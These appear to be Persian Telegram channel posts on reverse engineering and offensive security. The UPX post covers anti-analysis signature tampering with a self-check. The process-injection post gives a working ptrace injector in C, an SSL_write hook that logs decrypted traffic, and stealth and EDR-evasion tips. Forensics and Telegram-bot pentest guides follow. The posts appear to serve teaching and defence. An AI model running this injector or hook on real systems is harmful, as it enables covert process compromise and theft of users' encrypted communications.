وقتی فایل پک شده (حتی بدون تغییر امضا) را با IDA Pro باز می‌کنیم، چیزی که می‌بینیم کد Stub لودر UPX است، نه کد اصلی برنامه. این کد وظیفه باز کردن برنامه در حافظه را دارد و تحلیل آن برای رسیدن به کد اصلی، پیچیده است.

مشکل اصلی: تحلیلگر باید نقطه پایانی روتین Unpacking و پرش نهایی به OEP را پیدا کند. این کار به صورت دستی نیازمند مهارت در اسمبلی و دیباگ کردن است.

اثر تغییر امضا: با تغییر امضا، حتی پلاگین‌ها یا اسکریپت‌های کمکی IDA که برای Unpack کردن UPX طراحی شده‌اند نیز از کار می‌افتند و تحلیلگر را کاملاً به مهارت‌های دستی خود متکی می‌کنند.

مرحله ۴ (پیشرفته): پیاده‌سازی مکانیزم خود-بررسی

این بخش، تکنیک ما را از یک "گمراه‌سازی ساده" به یک "حفاظت فعال" (Active Protection) تبدیل می‌کند. ایده این است که برنامه در زمان اجرا، خودش را در حافظه یا روی دیسک بررسی کند تا مطمئن شود که امضای "520" هنوز وجود دارد. اگر کسی برنامه را با موفقیت Unpack کند یا امضا را به حالت اول (UPX) برگرداند، این بررسی با شکست مواجه شده و برنامه از اجرا خارج می‌شود.
Please open Telegram to view this post
VIEW IN TELEGRAM
1
Mr. SAM
#upx تکنیکی ساده اما هوشمندانه یک تکنیک کلاسیک اما هوشمندانه در حوزه مهندسی معکوس و حفاظت از نرم‌افزار : استفاده از پکر UPX ، دستکاری امضای آن برای گمراه کردن ابزارهای تحلیل خودکار و سپس پیاده‌سازی یک مکانیزم خود-بررسی (Self-Checksum) در برنامه برای…
پیاده‌سازی نمونه (Conceptual Code):

#include <iostream>
#include <fstream>
#include <vector>
#include <windows.h>

bool VerifySignature() {
char currentPath[MAX_PATH];
GetModuleFileName(NULL, currentPath, MAX_PATH);

std::ifstream file(currentPath, std::ios::binary);
if (!file.is_open()) {
return false;
}

// Read file content into a buffer
std::vector<char> buffer((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
file.close();

// The signature "520" in hex is 35 32 30
const char signature[] = { 0x35, 0x32, 0x30 };

// Search for the signature in the buffer
auto it = std::search(buffer.begin(), buffer.end(), signature, signature + sizeof(signature));

return it != buffer.end(); // Return true if signature is found
}

int main() {
if (!VerifySignature()) {
// If signature is not found (e.g., unpacked or modified), exit silently.
return -1;
}

MessageBox(NULL, "Signature verified! Program is running.", "Protected App", MB_OK);
return 0;
}


این کد قبل از اجرای منطق اصلی برنامه، فایل اجرایی خودش را می‌خواند و به دنبال امضای دستکاری شده ( 35 32 30 ) می‌گردد. اگر این امضا پیدا نشود (یعنی برنامه Unpack شده) ، برنامه به سادگی خارج می‌شود. این یک تکنیک بسیار مؤثر ضد-دیباگ و ضد-تغییر (Anti-Tampering) است.

کمی پیشرفته‌تر

یک تحلیلگر حرفه‌ای چگونه با چنین حفاظتی مقابله می‌کند؟ و یک مهاجم چگونه می‌تواند آن را قوی‌تر کند؟

روش‌های مقابله با این تکنیک:

1. دیباگ کردن دستی: تحلیلگر برنامه را در یک دیباگر (مانند x64dbg یا WinDbg ) بارگذاری می‌کند. سپس با قرار دادن یک Breakpoint روی توابع دسترسی به فایل (مانند CreateFile , ReadFile ) می‌تواند متوجه شود که برنامه در حال خواندن خودش است.

2. یافتن OEP (Original Entry Point): روش کلاسیک برای Unpack کردن UPX به صورت دستی، دنبال کردن چند پرش (Jump) و پشته (Stack) است. معمولاً آخرین PUSHAD و POPAD در کد Stub و یک پرش بلند (Long Jump) به بخش دیگری از حافظه، نشانگر رسیدن به OEP است. پس از رسیدن به OEP، می‌توان یک (Dump) از حافظه فرآیند گرفت و فایل اجرایی Unpack شده را بازسازی کرد.

3. اصلاح بایت‌های شرطی: پس از یافتن روتین خود-بررسی، تحلیلگر می‌تواند پرش شرطی (Conditional Jump) مربوط به بررسی امضا را با NOP No Operation جایگزین کرده یا آن را معکوس کند تا این مکانیزم حفاظتی را غیرفعال سازد.

چگونه این تکنیک را پیشرفته‌تر کنیم؟ (دیدگاه مهاجم)

1. استفاده از پکر‌های چند لایه یا ناشناخته: به جای UPX، از پکر‌های پیچیده‌تر مانند VMProtect یا Themida استفاده شود که از مجازی‌سازی، جهش کد (mutation) و تکنیک‌های بسیار پیشرفته‌تری استفاده می‌کنند.

2. رمزنگاری امضا: به جای جستجوی یک رشته ثابت ("520") ، می‌توان چندین امضای مختلف در نقاط مختلف فایل قرار داد و در زمان اجرا آن‌ها را با یک الگوریتم رمزگشایی کرده و بررسی کرد.

3. تکنیک‌های Anti-Debug: در کنار بررسی امضا، می‌توان از ده‌ها تکنیک Anti-Debug دیگر استفاده کرد ؛ مانند بررسی وجود دیباگر با IsDebuggerPresent() , بررسی زمان‌بندی اجرا (Timing Checks) برای شناسایی Breakpointها ، و غیره.

جمع‌بندی و نتیجه‌گیری

تکنیک ارائه شده یک مثال عالی از این است که چگونه می‌توان با ترکیبی هوشمندانه از چند روش ساده، یک لایه حفاظتی مؤثر ایجاد کرد که ابزارهای خودکار را فریب داده و هزینه و زمان تحلیل دستی را به شدت افزایش می‌دهد. این تکنیک سه لایه کلیدی را با هم ترکیب می‌کند:

1. مبهم‌سازی (Obfuscation): با استفاده از پکر UPX برای پنهان کردن کد اصلی.

2. ضد-شناسایی (Anti-Fingerprinting): با تغییر امضای پکر برای فریب ابزارهای تحلیل.

3. ضد-تغییر (Anti-Tampering): با مکانیزم خود-بررسی برای اطمینان از دست نخورده باقی ماندن حفاظت.

این رویکرد نشان می‌دهد که در دنیای امنیت نرم‌افزار، خلاقیت در ترکیب تکنیک‌های موجود می‌تواند به اندازه استفاده از ابزارهای پیچیده، مؤثر باشد و درک آن هم برای توسعه‌دهندگان نرم‌افزار (برای حفاظت) و هم برای متخصصان امنیت (برای تحلیل) ضروری است.

@NullError_ir
2
#nazdika

شبکه اجتماعی ایرانی نزدیکا رو چند سال قبل اسمش رو شنیدم و دیگه خبری ازش نشد تا اینکه الان گفتن هک شده . متاسفانه نمونه دیتایی که گذاشتن عکس و فیلم و چت خصوصی مردم پخش شده ...

@NullError_ir
💔1
#آموزشی
( از تئوری تا کد: ساخت Injector سفارشی ) مطلب سنگین 💀
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
#linux_Process_Injection

راهنمای جامع تزریق فرآیند در لینوکس: از LD_PRELOAD تا ptrace


مقدمه: فلسفه تزریق فرآیند در لینوکس

تزریق فرآیند (Process Injection) یکی از تکنیک‌های بنیادین در دنیای امنیت سایبری است که هم توسط مهاجمان برای اجرای کدهای مخرب در بستر یک فرآیند معتبر (trusted process) و هم توسط متخصصان امنیت برای تحلیل بدافزار، دیباگ کردن یا ابزار دقیق (instrumentation) استفاده می‌شود. در سیستم‌عامل‌های مبتنی بر لینوکس، یکی از قدرتمندترین و پرکاربردترین روش‌ها برای دستیابی به این هدف، بهره‌گیری از متغیر محیطی LD_PRELOAD است.

سیستم‌عامل‌های لینوکس از یک مکانیزم به نام "Dynamic Linker/Loader" (که معمولاً ld.so یا ld-linux.so است) برای بارگذاری کتابخانه‌های اشتراکی (Shared Libraries - فایل‌های با پسوند .so ) مورد نیاز یک برنامه در زمان اجرا استفاده می‌کنند. متغیر محیطی LD_PRELOAD به این Dynamic Linker دستور می‌دهد که قبل از هر کتابخانه دیگری (حتی کتابخانه‌های استاندارد مانند libc )، کتابخانه‌های مشخص شده در این متغیر را بارگذاری کند. این مکانیزم به ما اجازه می‌دهد تا توابع کتابخانه‌های استاندارد را Hook کرده و رفتار یک برنامه را بدون تغییر در کد اجرایی اصلی آن، دستکاری کنیم.

ابزار کلیدی: Injector سفارشی مبتنی بر ptrace

در گذشته از اسکریپت‌های واسط مانند ld-preloader که از GDB برای اتصال به فرآیند هدف استفاده می‌کردند، بهره گرفته می‌شد. اما این روش‌ها به دلیل ایجاد ردپای بزرگ و پرسروصدا در سیستم‌های مانیتورینگ مدرن (EDR)، منسوخ شده‌اند.

یک مهاجم یا محقق امروزی از یک Injector سفارشی استفاده می‌کند. این ابزار، یک برنامه کوچک و بهینه به زبان C است که مستقیماً از فراخوانی سیستمی (syscall) ptrace برای کنترل یک فرآیند دیگر و تزریق کد به آن بهره می‌برد. این روش ردپای بسیار کمتری دارد، نیازی به ابزارهای جانبی ندارد و شناسایی آن به مراتب دشوارتر است.

مراحل اجرای تکنیک

مرحله ۱: آماده‌سازی محیط و کامپایل کد تزریقی (Payload)

ابتدا نیاز به یک کد داریم که در قالب یک کتابخانه اشتراکی (.so ) کامپایل شود. این کد پس از تزریق، در فرآیند هدف اجرا خواهد شد. برای نمونه، یک کتابخانه ساده می‌نویسیم که پس از تزریق، یک پیام را در یک فایل لاگ ثبت می‌کند.

کد payload.c :

#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))
void entry_point() {
FILE *log_file = fopen("/tmp/injection_log.txt", "a");
if (log_file == NULL) {
return;
}

fprintf(log_file, "Library injected successfully into process with PID: %d\n", getpid());
fclose(log_file);
}



نکات فنی پیشرفته در این کد:

__attribute__((constructor)) : این یک ویژگی کامپایلر GCC/Clang است. هر تابعی که با این attribute مشخص شود، به صورت خودکار توسط Dynamic Linker بلافاصله پس از بارگذاری کتابخانه در حافظه و قبل از اجرای تابع main() برنامه میزبان، اجرا می‌شود. این نقطه ورود (Entry Point) کد تزریقی ماست.

کامپایل کد:

برای کامپایل این کد به یک کتابخانه اشتراکی، از دستور زیر استفاده می‌کنیم:

gcc -shared -fPIC payload.c -o payload.so


-shared : به کامپایلر می‌گوید که خروجی باید یک کتابخانه اشتراکی باشد.

-fPIC : مخفف Position-Independent Code است. این فلگ برای ساخت کتابخانه‌های اشتراکی ضروری است، زیرا این کتابخانه‌ها باید قابلیت بارگذاری در هر آدرس دلخواهی از حافظه را داشته باشند.

مرحله ۲: ابزار تزریق و اجرای عملیات (injector.c ) > نقطه شروع سفارشی برای شما ❤️

این برنامه C قلب عملیات تزریق مدرن است. این ابزار PID هدف و مسیر payload.so را گرفته و با ptrace آن را تزریق می‌کند.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
Mr. SAM
#linux_Process_Injection راهنمای جامع تزریق فرآیند در لینوکس: از LD_PRELOAD تا ptrace مقدمه: فلسفه تزریق فرآیند در لینوکس تزریق فرآیند (Process Injection) یکی از تکنیک‌های بنیادین در دنیای امنیت سایبری است که هم توسط مهاجمان برای اجرای کدهای مخرب در بستر…
کد injector.c :


#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <dlfcn.h>
#include <elf.h>
#include <link.h>

void* find_remote_function_address(pid_t target_pid, const char* lib_name, const char* func_name) {
void* local_handle = dlopen(lib_name, RTLD_LAZY);
if (!local_handle) return NULL;
void* local_addr = dlsym(local_handle, func_name);
if (!local_addr) { dlclose(local_handle); return NULL; }
Dl_info info;
if (!dladdr(local_addr, &info)) { dlclose(local_handle); return NULL; }
dlclose(local_handle);
long offset = (long)local_addr - (long)info.dli_fbase;
char maps_path[256];
sprintf(maps_path, "/proc/%d/maps", target_pid);
FILE* maps_file = fopen(maps_path, "r");
if (!maps_file) return NULL;
char line[512];
void* remote_base_addr = NULL;
while (fgets(line, sizeof(line), maps_file)) {
if (strstr(line, lib_name) && strstr(line, "r-xp")) {
sscanf(line, "%p-%*p", &remote_base_addr);
break;
}
}
fclose(maps_file);
if (!remote_base_addr) return NULL;
return (void*)((long)remote_base_addr + offset);
}

int write_to_process_memory(pid_t pid, void* addr, const char* data, size_t len) {
for (size_t i = 0; i < len; i += sizeof(long)) {
long word = 0;
memcpy(&word, data + i, sizeof(long));
if (ptrace(PTRACE_POKETEXT, pid, (char*)addr + i, word) == -1) {
perror("PTRACE_POKETEXT");
return -1;
}
}
return 0;
}

int main(int argc, char* argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <pid> <path_to_so>\n", argv[0]);
return 1;
}
pid_t target_pid = atoi(argv[1]);
char* so_path = argv[2];
printf("-> Targeting PID: %d\n", target_pid);
printf("-> Attaching to process...\n");
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) { perror("PTRACE_ATTACH"); return 1; }
waitpid(target_pid, NULL, WUNTRACED);
printf("-> Finding address of dlopen...\n");
void* remote_dlopen_addr = find_remote_function_address(target_pid, "libc.so.6", "__libc_dlopen_mode");
if (!remote_dlopen_addr) {
fprintf(stderr, "Error: Could not find address of dlopen.\n");
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
return 1;
}
printf("-> Remote dlopen address: %p\n", remote_dlopen_addr);
struct user_regs_struct old_regs, regs;
if (ptrace(PTRACE_GETREGS, target_pid, NULL, &old_regs) == -1) { perror("PTRACE_GETREGS"); ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 1; }
memcpy(&regs, &old_regs, sizeof(struct user_regs_struct));
void* remote_stack_addr = (void*)(regs.rsp - strlen(so_path) - 1);
printf("-> Writing payload path to remote stack at %p\n", remote_stack_addr);
write_to_process_memory(target_pid, remote_stack_addr, so_path, strlen(so_path) + 1);
regs.rdi = (unsigned long long)remote_stack_addr;
regs.rsi = RTLD_LAZY;
regs.rip = (unsigned long long)remote_dlopen_addr;
printf("-> Executing remote call to dlopen...\n");
if (ptrace(PTRACE_SETREGS, target_pid, NULL, &regs) == -1) { perror("PTRACE_SETREGS"); ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 1; }
if (ptrace(PTRACE_CONT, target_pid, NULL, NULL) == -1) { perror("PTRACE_CONT"); return 1; }
waitpid(target_pid, NULL, WUNTRACED);
printf("-> Remote call finished. Restoring state...\n");
ptrace(PTRACE_GETREGS, target_pid, NULL, &regs);
if (regs.rax == 0) { fprintf(stderr, "Error: Remote dlopen call failed.\n"); }
else { printf("-> Injection successful! Handle: %llx\n", regs.rax); }
if (ptrace(PTRACE_SETREGS, target_pid, NULL, &old_regs) == -1) { perror("PTRACE_SETREGS (restore)"); }
printf("-> Detaching from process.\n");
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
return 0;
}
🔥1
Mr. SAM
کد injector.c : #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/user.h> #include <dlfcn.h> #include <elf.h> #include <link.h> void* find_remo…
نحوه کامپایل و اجرا:

1. کامپایل Injector:

gcc injector.c -o injector -ldl

2. پیدا کردن فرآیند هدف:

sleep 1000 &

# [1] 12345 <-- این PID فرآیند هدف شماست


3. اجرای تزریق:

sudo ./injector 12345 $(pwd)/payload.so

4. تأیید موفقیت:

cat /tmp/injection_log.txt

# خروجی: Library injected successfully into process with PID: 12345


پیشرفته‌تر

یک مهاجم حرفه‌ای صرفاً به اجرای یک کد ساده بسنده نمی‌کند.

۱. پایداری و مخفی‌سازی (Persistence & Stealth)

* حذف ردپا از دیسک: به جای قرار دادن فایل .so روی دیسک، می‌توان از تکنیک memfd_create استفاده کرد. در این روش، یک فایل ناشناس در حافظه RAM ایجاد می‌شود، بایت‌های کتابخانه مخرب در آن نوشته شده و سپس از طریق مسیر /proc/self/fd/<fd> به dlopen داده می‌شود. این کار تحلیل forensics را دشوارتر می‌کند.

* دور زدن مکانیزم‌های تشخیص: بسیاری از ابزارهای امنیتی و EDR ها، استفاده مشکوک از ptrace را مانیتور می‌کنند. برای دور زدن این مکانیزم‌ها، مهاجمان ممکن است از تکنیک‌های پیچیده‌تری برای اجرای کد بدون ptrace یا پچ کردن مستقیم Dynamic Linker استفاده کنند.

* پاکسازی (Unhooking): پس از انجام عملیات مخرب، کتابخانه تزریق شده می‌تواند خود را از حافظه فرآیند با استفاده از dlclose تخلیه کند تا هیچ ردپایی از خود به جای نگذارد.

۲. هوک کردن توابع (Function Hooking)

قدرت واقعی این تکنیک در هوک کردن توابع است. فرض کنید می‌خواهیم تمام داده‌هایی که یک برنامه از طریق توابع SSL/TLS ارسال می‌کند را شنود کنیم.

مثال Hooking SSL_write:

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <openssl/ssl.h>

static int (*original_SSL_write)(SSL *ssl, const void *buf, int num);

int SSL_write(SSL *ssl, const void *buf, int num) {

if (!original_SSL_write) {
original_SSL_write = dlsym(RTLD_NEXT, "SSL_write");
}

FILE *log = fopen("/tmp/ssl_log.txt", "a");
if (log) {
fwrite(buf, 1, num, log);
fclose(log);
}

return original_SSL_write(ssl, buf, num);
}


وقتی این کتابخانه تزریق شود، هر بار که برنامه هدف تلاش کند داده‌ای را با SSL_write ارسال کند، ابتدا کد مخرب ما اجرا شده، داده‌ها را در یک فایل لاگ ذخیره می‌کند و سپس تابع اصلی را برای حفظ عملکرد عادی برنامه فراخوانی می‌کند.

dlsym(RTLD_NEXT, "SSL_write") : این یک فراخوانی کلیدی است. RTLD_NEXT یک هندل ویژه است که به dlsym می‌گوید: "به دنبال اولین رخداد (occurrence) از SSL_write *بعد از* کتابخانه فعلی من بگرد". این تضمین می‌کند که ما آدرس تابع اصلی را پیدا می‌کنیم و در یک حلقه بازگشتی بی‌نهایت گرفتار نمی‌شویم.


راهکارهای شناسایی و مقابله

1. مانیتورینگ ptrace syscall : ابزارهای مدرن تزریق از syscall به نام ptrace استفاده می‌کنند. سیستم‌های امنیتی می‌توانند فراخوانی‌های مشکوک ptrace را شناسایی کنند، به خصوص اگر توسط یک فرآیند ناشناس به یک فرآیند حساس (مانند مرورگر یا سرور SSH) انجام شود.

2. بررسی /proc/<PID>/maps : این فایل مجازی، نقشه حافظه یک فرآیند را نشان می‌دهد. مدیران سیستم و ابزارهای امنیتی می‌توانند این فایل را به صورت دوره‌ای اسکن کنند تا بارگذاری کتابخانه‌های غیرمنتظره یا ناشناس را در فرآیندهای حساس شناسایی کنند.

3. استفاده از Secure Boot و IMA (Integrity Measurement Architecture) : این مکانیزم‌های امنیتی در سطح کرنل می‌توانند یکپارچگی فایل‌های اجرایی و کتابخانه‌ها را قبل از بارگذاری تأیید کنند

4. محدود کردن با Seccomp-bpf , SELinux یا AppArmor : می‌توان سیاست‌هایی را اعمال کرد که به فرآیندها اجازه ندهد syscall های خطرناکی مانند ptrace را اجرا کنند یا متغیرهای محیطی مانند LD_PRELOAD را مقداردهی کنند.

5. تحلیل استاتیک و دینامیک: بررسی باینری‌های ناشناس برای یافتن رشته‌هایی مانند ptrace, dlopen و... می‌تواند به شناسایی ابزارهای تزریق کمک کند.

خلاصه مطلب

تکنیک استفاده از LD_PRELOAD یک روش قدرتمند و کلاسیک برای دستکاری فرآیندها در لینوکس است. با این حال، اجرای مدرن و مخفیانه این تکنیک، نیازمند کنار گذاشتن اسکریپت‌های قدیمی و استفاده از ابزارهای سفارشی مبتنی بر ptrace است. درک عمیق مکانیزم‌های زیربنایی مانند Dynamic Linker ، ptrace و هوک کردن توابع، این تکنیک را به یک ابزار بسیار خطرناک در دستان یک مهاجم تبدیل می‌کند. برای متخصصان امنیت، شناخت دقیق این روش‌ها و نقاط ضعف آن‌ها، کلید طراحی سیستم‌های دفاعی مؤثر و شناسایی حملات پیچیده در محیط‌های لینوکسی است.

@NullError_ir
🦠 😂
Please open Telegram to view this post
VIEW IN TELEGRAM
#Forensics

فارنزیک دیجیتال : گام‌های نخستین در حملات سایبری


در دنیای امنیت سایبری، سرعت و دقت در لحظات اولیه پس از شناسایی یک حادثه، نقشی حیاتی در مهار خسارت و شناسایی مهاجم ایفا می‌کند. اولین گام‌ها در تحقیق حملات سایبری ، به زیبایی این لحظات بحرانی را به ترازوی عدالتی تشبیه می‌کند که در یک کفه آن، سرعت عمل تیم پاسخ به حوادث (IR) و در کفه دیگر، دقت و صحت تحلیل تیم فارنزیک دیجیتال (DFIR) قرار دارد. برقراری تعادل میان این دو، شاه‌کلید یک تحقیق موفق است.

گام اول: شناسایی و ارزیابی اولیه (Initial Triage)

اولین و مهم‌ترین اقدام، درک سریع ابعاد و ماهیت حادثه است. در این مرحله، تحلیلگر باید به سوالات اساسی پاسخ دهد:

- چه اتفاقی افتاده است؟ آیا با یک آلودگی بدافزاری، نشت داده، یا دسترسی غیرمجاز مواجه هستیم؟

- چه سیستم‌هایی تحت تأثیر قرار گرفته‌اند؟ شناسایی میزبان‌ها (hosts)، سرورها و حساب‌های کاربری درگیر، برای محدود کردن دامنه تحقیق ضروری است.

- چه زمانی این اتفاق رخ داده است؟ تعیین یک خط زمانی اولیه (timeline) به درک توالی رویدادها کمک شایانی می‌کند.

- میزان تأثیر و خسارت چقدر است؟ ارزیابی اولیه خسارت به اولویت‌بندی اقدامات بعدی کمک می‌کند.

در این فاز، سرعت بر عمق تحلیل اولویت دارد. هدف، به دست آوردن یک تصویر کلی از حادثه برای تصمیم‌گیری‌های استراتژیک بعدی است.

گام دوم: جمع‌آوری داده‌های فرّار (Volatile Data Collection)

بسیاری از شواهد دیجیتال حیاتی، به شدت "فرّار" هستند و با یک reboot ساده یا گذشت زمان از بین می‌روند. قبل از هرگونه اقدام برای مهار یا پاک‌سازی، جمع‌آوری این داده‌ها از سیستم‌های آلوده الزامی است. این داده‌ها شامل موارد زیر است:

- حافظه RAM: گنجینه‌ای از اطلاعات شامل فرآیندهای در حال اجرا، کانکشن‌های شبکه، کلیدهای رمزنگاری و فعالیت‌های اخیر کاربر. ابزارهایی مانند Volatility و Redline برای تحلیل آن ضروری هستند.

- وضعیت شبکه: کانکشن‌های فعال ( netstat ) ، کش DNS و جدول ARP می‌توانند اطلاعات ارزشمندی در مورد ارتباطات مهاجم با سرورهای Command and Control (C2) ارائه دهند.

- فرآیندهای در حال اجرا: لیست فرآیندها می‌تواند به شناسایی بدافزارهای فعال و ابزارهای مورد استفاده مهاجم کمک کند.

- اطلاعات سیستم و زمان login کاربران: این داده‌ها به ساختن timeline دقیق‌تر حادثه کمک می‌کنند.

به خاطر داشته باشید، جمع‌آوری داده‌های فرّار باید با کمترین تأثیر ممکن بر روی سیستم قربانی (live system) انجام شود تا شواهد دستکاری نشوند.

گام سوم: ایجاد ایمیج از دیسک (Disk Imaging)

پس از جمع‌آوری داده‌های فرّار، نوبت به حفظ وضعیت پایدار سیستم می‌رسد. ایجاد یک ایمیج کامل و بیت-به-بیت از دیسک سخت سیستم‌های آلوده، یک اصل اساسی در فارنزیک دیجیتال است. این کار دو مزیت اصلی دارد:

1. حفظ شواهد: یک کپی دقیق و دست‌نخورده از شواهد دیجیتال برای تحلیل‌های بعدی و ارائه به مراجع قانونی فراهم می‌کند.

2. امکان تحلیل آفلاین: تحلیلگر می‌تواند بدون نگرانی از تغییر یا آسیب رساندن به سیستم اصلی، ایمیج را در یک محیط آزمایشگاهی ایزوله (sandbox) تحلیل کند.

ابزارهایی مانند dd , FTK-Imager و EnCase برای این منظور استفاده می‌شوند. محاسبه و ثبت هش (hash) ایمیج (مانند SHA-256) برای تضمین یکپارچگی و عدم تغییر آن (Chain of Custody) حیاتی است.

گام چهارم: تحلیل اولیه (Initial Analysis)

با در اختیار داشتن داده‌های فرّار و ایمیج دیسک، تحلیلگر می‌تواند به دنبال شاخص‌های نفوذ (Indicators of Compromise - IoCs) و تاکتیک‌ها، تکنیک‌ها و رویه‌های (TTPs) مهاجم بگردد. این مرحله شامل موارد زیر است:

- تحلیل Timeline: ایجاد یک خط زمانی دقیق از رویدادها با استفاده از timestamp فایل‌ها، لاگ‌های سیستم و رویدادهای ثبت شده.

- بررسی لاگ‌ها: جستجو در لاگ‌های سیستم‌عامل (Event Logs)، لاگ‌های وب‌سرور، فایروال و دیگر برنامه‌ها برای یافتن فعالیت‌های مشکوک.

- جستجوی Persistence Mechanisms: بررسی روش‌هایی که مهاجم برای حفظ دسترسی خود پس از reboot سیستم به کار برده است (مانند scheduled tasks, registry keys, services).

- تحلیل فایل‌های مشکوک: استخراج و تحلیل فایل‌های اجرایی، اسکریپت‌ها و بدافزارهای احتمالی در یک محیط امن.

نتیجه‌گیری و آمادگی:

1. تهیه Playbook: سازمان‌ها باید یک دستورالعمل مُدَوَن برای پاسخ به انواع مختلف حوادث سایبری داشته باشند. این سند باید مراحل کار، مسئولیت‌ها و ابزارهای مورد نیاز را به وضوح مشخص کند.

2. آماده‌سازی ابزارها: یک کیت ابزار پاسخ به حوادث که شامل نرم‌افزارهای لازم برای جمع‌آوری داده‌های فرّار و ایمیج‌گیری است، باید از قبل آماده و در دسترس باشد.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
Mr. SAM
#Forensics فارنزیک دیجیتال : گام‌های نخستین در حملات سایبری در دنیای امنیت سایبری، سرعت و دقت در لحظات اولیه پس از شناسایی یک حادثه، نقشی حیاتی در مهار خسارت و شناسایی مهاجم ایفا می‌کند. اولین گام‌ها در تحقیق حملات سایبری ، به زیبایی این لحظات بحرانی را…
3. آموزش و تمرین: تیم امنیت باید به طور منظم سناریوهای مختلف حمله را شبیه‌سازی و تمرین کند (Tabletop Exercises) تا در زمان وقوع حادثه واقعی، هماهنگ و کارآمد عمل نمایند.

4. حفظ زنجیره مستندات (Chain of Custody): تمامی اقدامات، از لحظه شناسایی تا پایان تحلیل، باید به دقت مستندسازی شوند. این مستندات برای تحلیل‌های آتی و پیگیری‌های حقوقی ضروری است.

در نهایت، به یاد داشته باشید که در ترازوی فارنزیک، هر دو کفه "سرعت" و "دقت" باید هم‌وزن باشند. عجله بیش از حد منجر به از دست رفتن شواهد کلیدی می‌شود و وسواس بیش از حد در تحلیل، به مهاجم فرصت می‌دهد تا خسارت بیشتری وارد کرده و ردپای خود را پاک کند.


@NullError_ir
🔥1
#telegram_bot

تست نفوذ و امن‌سازی ربات‌های تلگرام
(از شناسایی تا بهره‌برداری)


مقدمه: معماری و سطح حمله (Attack Surface)

برخلاف تصور اولیه، تست نفوذ یک ربات تلگرام، آزمودن زیرساخت خود تلگرام نیست. آسیب‌پذیری‌ها تقریباً همیشه در سرور پشتیبان (Backend Server) که منطق ربات را پیاده‌سازی می‌کند، وجود دارند.

معماری یک ربات تلگرام به صورت زیر است:

کاربر <--> سرورهای تلگرام (API) <--> سرور پشتیبان ربات (Backend) <--> پایگاه داده و سرویس‌های دیگر

سطح حمله ما، سرور پشتیبان ربات است. ربات تلگرام تنها یک واسط (Interface) برای ارسال ورودی‌های ما به این سرور و دریافت خروجی از آن است. بنابراین، ما در حال انجام یک تست نفوذ بر روی یک برنامه (معمولاً وب اپلیکیشن بدون رابط کاربری گرافیکی) هستیم که از طریق API تلگرام با دنیای خارج ارتباط برقرار می‌کند.

فاز ۱: شناسایی و جمع‌آوری اطلاعات (Reconnaissance)

این مرحله حیاتی‌ترین فاز است و پایه و اساس تمام مراحل بعدی را تشکیل می‌دهد. هدف، درک کامل از عملکرد ربات، تکنولوژی‌های احتمالی و جمع‌آوری تمام نقاط ورودی ممکن است.

#**۱.۱. شناسایی غیرفعال (Passive Reconnaissance)

* **جمع‌آوری اطلاعات پایه:
نام کاربری ربات ( @username )، نام نمایشی و عکس پروفایل را بررسی کنید.

* مهندسی اجتماعی و جستجوی آنلاین:

* به دنبال وب‌سایت، کانال تلگرام یا گروه مرتبط با ربات بگردید.

* نام ربات یا توسعه‌دهنده آن را در پلتفرم‌هایی مانند GitHub جستجو کنید. یافتن کد منبع ربات، یک گنج بزرگ محسوب می‌شود و تست را از حالت جعبه-سیاه به جعبه-سفید تبدیل می‌کند.

* از Google Dorking برای یافتن اطلاعات مرتبط با ربات یا دامنه سرور پشتیبان آن استفاده کنید. ( inurl: "bot_name" , site:github.com "bot_name" )

#**۱.۲. شناسایی فعال (Active Reconnaissance)

* **تعامل اولیه:


* ربات را با دستور /start فعال کنید. به پیام خوش‌آمدگویی، دکمه‌های کیبورد سفارشی (Custom Keyboard) و گزینه‌های موجود دقت کنید.

* دستور /help یا مشابه آن را برای دریافت لیست کامل دستورات ارسال کنید.

* نقشه‌برداری از عملکرد (Functionality Mapping):

* تمام دستورات و دکمه‌ها را فراخوانی کرده و عملکرد هر یک را مستند کنید.

* ورودی‌های مورد انتظار برای هر دستور را شناسایی کنید. (/command {argument1}{argument2} )

* به نحوه پاسخ ربات دقت کنید. آیا پاسخ‌ها ثابت هستند یا بر اساس ورودی تغییر می‌کنند؟ آیا لینک، عکس یا فایل ارسال می‌کند؟

* انگشت‌نگاری تکنولوژی (Technology Fingerprinting):

* اگر ربات با یک وب‌اپلیکیشن (WebApp) درون تلگرام باز می‌شود، این یک فرصت عالی برای تحلیل ترافیک HTTP با ابزارهایی مانند Burp Suite و انگشت‌نگاری سرور وب است.

* به ساختار پیام‌های خطا دقت کنید. خطاهای verbose می‌توانند اطلاعاتی در مورد زبان برنامه‌نویسی (Python, Go, PHP)، فریمورک (Django, Express) یا نوع پایگاه داده را فاش کنند.


فاز ۲: تحلیل آسیب‌پذیری و مدل‌سازی حمله

با اطلاعات به دست آمده از فاز قبل، اکنون باید فرضیه‌هایی در مورد آسیب‌پذیری‌های محتمل ایجاد کنیم.

* نقاط ورودی داده: تمام پارامترهای دستورات (/search {query} ), ورودی‌های متنی آزاد, ورودی‌های دکمه‌های inline, و هر داده دیگری که از کاربر به سرور ارسال می‌شود، نقاط بالقوه برای حملات تزریق هستند.

* مدل‌سازی تهدید:

* حملات تزریق (Injection Attacks): اگر ورودی کاربر برای ساخت کوئری‌های دیتابیس، دستورات سیستم‌عامل، یا کوئری‌های LDAP استفاده می‌شود، احتمال حملات SQLi, Command Injection, LDAP Injection وجود دارد.

* منطق کسب‌وکار (Business Logic Flaws): آیا می‌توان منطق ربات را دور زد؟ (مثلاً در یک ربات فروشگاهی، قیمت را دستکاری کرد یا فرآیند پرداخت را رد کرد).

